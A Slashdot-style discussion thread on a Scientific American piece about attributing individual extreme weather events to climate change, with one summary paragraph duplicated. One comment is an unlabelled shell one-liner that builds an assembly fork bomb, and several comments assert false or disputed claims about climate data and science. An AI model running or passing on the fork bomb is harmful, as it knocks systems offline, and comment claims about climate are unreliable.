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Scientists Can Now Blame Individual Natural Disasters On Climate Change (scientificamerican.com)
In 2003, the predominant view in the scientific community was that there was no way to determine the exact influence of climate change on any individual event. "There are just too many other factors affecting the weather, including all sorts of natural climate variations," reports Scientific American. But Myles Allen, a climate expert at the University of Oxford, believes scientists can blame individual natural disasters on climate change. Scientific American reports of how extreme event attribution is one of the most rapidly expanding areas of climate science: Over the last few years, dozens of studies have investigated the influence of climate change on events ranging from the Russian heat wave of 2010 to the California drought, evaluating the extent to which global warming has made them more severe or more likely to occur. The Bulletin of the American Meteorological Society now issues a special report each year assessing the impact of climate change on the previous year's extreme events. Interest in the field has grown so much that the National Academy of Sciences released an in-depth report last year evaluating the current state of the science and providing recommendations for its improvement. And as the science continues to mature, it may have ramifications for society. Legal experts suggest that attribution studies could play a major role in lawsuits brought by citizens against companies, industries or even governments. They could help reshape climate adaptation policies throughout a country or even the world. And perhaps more immediately, the young field of research could be capturing the public's attention in ways that long-term projections for the future cannot.
In 2004, Allen and Oxford colleague Daithi Stone and Peter Stott of the Met Office co-authored a report that is widely regarded as the world's first extreme event attribution study. The paper, which examined the contribution of climate change to a severe European heat wave in 2003 -- an event which may have caused tens of thousands of deaths across the continent -- concluded that "it is very likely that human influence has at least doubled the risk of a heat wave exceeding this threshold magnitude." Before this point, climate change attribution science had existed in other forms for several decades, according to Noah Diffenbaugh, a Stanford University climate scientist and attribution expert. Until 2004, much of the work had focused on investigating the relationship between human activity and long-term changes in climate elements like temperature and precipitation. More recently, scientists had been attempting to understand how these changes in long-term averages might affect weather patterns in general.
In 2004, Allen and Oxford colleague Daithi Stone and Peter Stott of the Met Office co-authored a report that is widely regarded as the world's first extreme event attribution study. The paper, which examined the contribution of climate change to a severe European heat wave in 2003 -- an event which may have caused tens of thousands of deaths across the continent -- concluded that "it is very likely that human influence has at least doubled the risk of a heat wave exceeding this threshold magnitude." Before this point, climate change attribution science had existed in other forms for several decades, according to Noah Diffenbaugh, a Stanford University climate scientist and attribution expert. Until 2004, much of the work had focused on investigating the relationship between human activity and long-term changes in climate elements like temperature and precipitation. More recently, scientists had been attempting to understand how these changes in long-term averages might affect weather patterns in general.
Lots of "may", "could", "believe", "might" in there.
Now is apparently the time that the term "Weather isn't climate." will be reversed without scientific rigor, so long as the claim is in the right direction.
If everything is attributable to "climate change", then their theory is no longer falsifiable. Which means it is no longer science; instead, it's just buzzwords that trigger government bureaucrats into opening the subsidy faucet.
Of course, it's always been this way - they're just getting honest about it. After all the money thrown at climate modelling, we still have never seen a clean scientific test consisting of specific predictions that could be verified or falsified. Instead, we get hundreds of climate models, we get adapted data (with the original data "lost"), the press announces panic after panic after panic. Really, it's tiresome.
The planet is warming. Yep. has been for a while now. CO2 is increasing due to people. Yep, probably not a good idea, but negative feedback cycles clearly dominate - a look into atmospheric history shows that clearly: CO2 causes slight increase in warmth, causes more water vapor, causes more clouds, reflects more sunlight. Oops, can't say that, doesn't cause a panic, won't get any government funding, so let's pretend that the planet is dominated by positive feedback cycles.
Enjoy life! This is not a dress rehearsal.
'Caused climate change' has just become a synonym for 'caused by small government'
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
This line of argument is dangerous to even attempt regardless of actual merit.
We can't have a situation where every time some political hack carries snowballs into congress to make a point it is rightfully dismissed as crackpot antics. Yet when there is a specific incident on the other side of the ledger be a storm or heat wave it becomes acceptable to try and publically link instances of weather to "climate change".
Perusing this will severely undermine any and all attempts to communicate the difference between weather and climate.
Much of the current problems with climate reality in my view can be traced back to scientists going that extra mile to sound alarms and suggest or imply political remedies.
If only scientists and supporting institutions had done a better job to just stay in their own lane... simply boringly run models and offer informed predictions rather than inject activism there would be less propensity for confusion between roles of science and politics.
Instead of current situation of climate deniers we would have more people who at least maintain some level of purchase on reality when they make the political calculation other considerations are more important than pursuing policies intended to mitigate climate change.
In every UN general assembly meeting you will find no shortage of clowns raging about how "climate change" (e.g. other people) are responsible for their own reckless mismanagement of their own lands. Lets not all dress in baggy colorful polka dotted outfits and dare the public to spot the real clown.
Albert Einstein is famous for giving very specific means to falsify his theories. He'd give a prediction based on his theory and if that prediction did not come to be then he'd throw out that theory and try again. Then again, his fame comes not from making predictions based on his theories but making many predictions and have them prove true.
I recall a US Senator bringing a snowball from outside the Capitol building and showing it during a session of the Senate as proof that global warming was not happening. And he was mocked for it.
Did anyone go beyond the headline of "Senator says snow in DC disproves global warming"? Why did he make this pronouncement? It's simple, someone made the claim before the Senate years ago that unless we changed our ways that there would soon never be snow in DC again. A theory was created, and a prediction made that would falsify it. It snowed in DC and instead of mocking the person that claimed it would not snow in DC again the Senator that pointed out that the prediction did not come was mocked.
Global warming is not a theory because theories make predictions that can be proven to be true or false. We've now seen probably millions of prediction over decades on how global warming will reveal itself to us, and millions of them did not come true. Sure, some of the predictions came true because even a stopped clock is right twice per day.
I would want to see someone make a claim on global warming, something falsifiable. We keep hearing, "the science is settled". Is it really? The predictions keep changing, they are contradictory based on who you ask and when you ask them. What seems to be the trend now is to make predictions so far out in the future that no one alive today will be around to claim victory on either side.
Global warming should be a laughing stock by now.
Global warming isn't science. If someone shows something that might prove it wrong we don't see people that are relived, or proclaim that science prevailed over ideology, or give thanks that past and current efforts to avert a global warming catastrophe worked. Shouldn't they be happy if the theory is wrong? I mean no global warming is good for us. If someone points out how global warming predictions fail they aren't happy, they get angry. That's especially confusing. I'm not even sure they know who they are, or should be, angry towards.
Hows that old legal adage go? If the law is on your side pound the law into the table. If the evidence in on your side pound the evidence into the table. If neither facts nor evidence are on your side pound your fists into the table.
I'm just seeing a lot of fist pounding here. And, not a lot of science.
Certainly not "about all the scientists in the world". You see, it is extremely unlikely that "about all the scientists in the world" actually studied our climate. The vast majority of them have different fields of study, and as far as climate is concerned, do not have any more authority than your average slashdot poster. At best they can claim to have read an article or two, in a popular magazine - same as the rest of us.
Appealing to the authority of people who really don't have any is, however, a highly suspicious tactic. I'm also struck by the fact that no government in the world is even considering investing in the only reliable, non-polluting form of energy that we have (i.e. nuclear). If climate change were a real problem, why isn't there a Manhattan project-style investment into nuclear fusion and thorium energy? Fusion research ambles along on minimal investment. Thorium is known to be a clean and safe source of nuclear energy, but nobody seems to care. Instead we blow billions on completely unreliable renewable energy sources that even after decades of investment and large scale destruction of the landscape still supply only a tiny fraction of our energy needs.
Then claim ignorance don't choose which dogma you will follow
Or ask other experts what they think. That's how we deal with everything else.
It's not even the coldest on record in the US. Globally its by and far the WARMEST on record per NOAA, NASA, ESA, and pretty much every other major organization that measures the data on a global scale.
The only people who claim otherwise are the same people who think a single snowstorm is proof the earth is getting cooler (AKA, insane people)
You shouldn't blindly distrust authority, either. In today's America, seems like everyone has decided to pick one or the other of those, and fact is both are ridiculously stupid things to do.
If once in 100-year temperature lows are "weather", then 1-in-100-year highs are "weather" and 1-in-100-year hurricanes are "weather". It's all probabilities vs averages.
The biggest problem is a lack of historical data to create the baseline for the current climate models. We have about 50 years of good satellite data which shows warming, vs 150 years of ground based samples that don't. It doesn't help that East Anglia climatologists were caught cherry picking and smoothing the ground based data to make it show global warming, and since then you have this battle of alarmists vs skeptics.
We have about 50 years of good satellite data which shows warming, vs 150 years of ground based samples that don't.
The ground based samples are better quality. A satellite doesn't measure surface air temperature. Instead it measure the IR radiation coming from the surface, mixed in with the radiation coming from the entire column of air, and then has to perform complicated modelling to figure out what portion of the IR actually comes from the bottom layer.
And the 150 years of ground data clearly show warming. https://data.giss.nasa.gov/gis...
It doesn't help that East Anglia climatologists were caught cherry picking
They weren't. Here's a nice article explaining the temperature adjustments: https://skepticalscience.com/u...
Even without the adjustments, there's a very clear warming. A team of scientists from Berkeley had doubts about these adjustments, so they started with the raw data, and redid everything themselves. They ended up with almost the same graph.
Here's some more info: http://berkeleyearth.org/summa...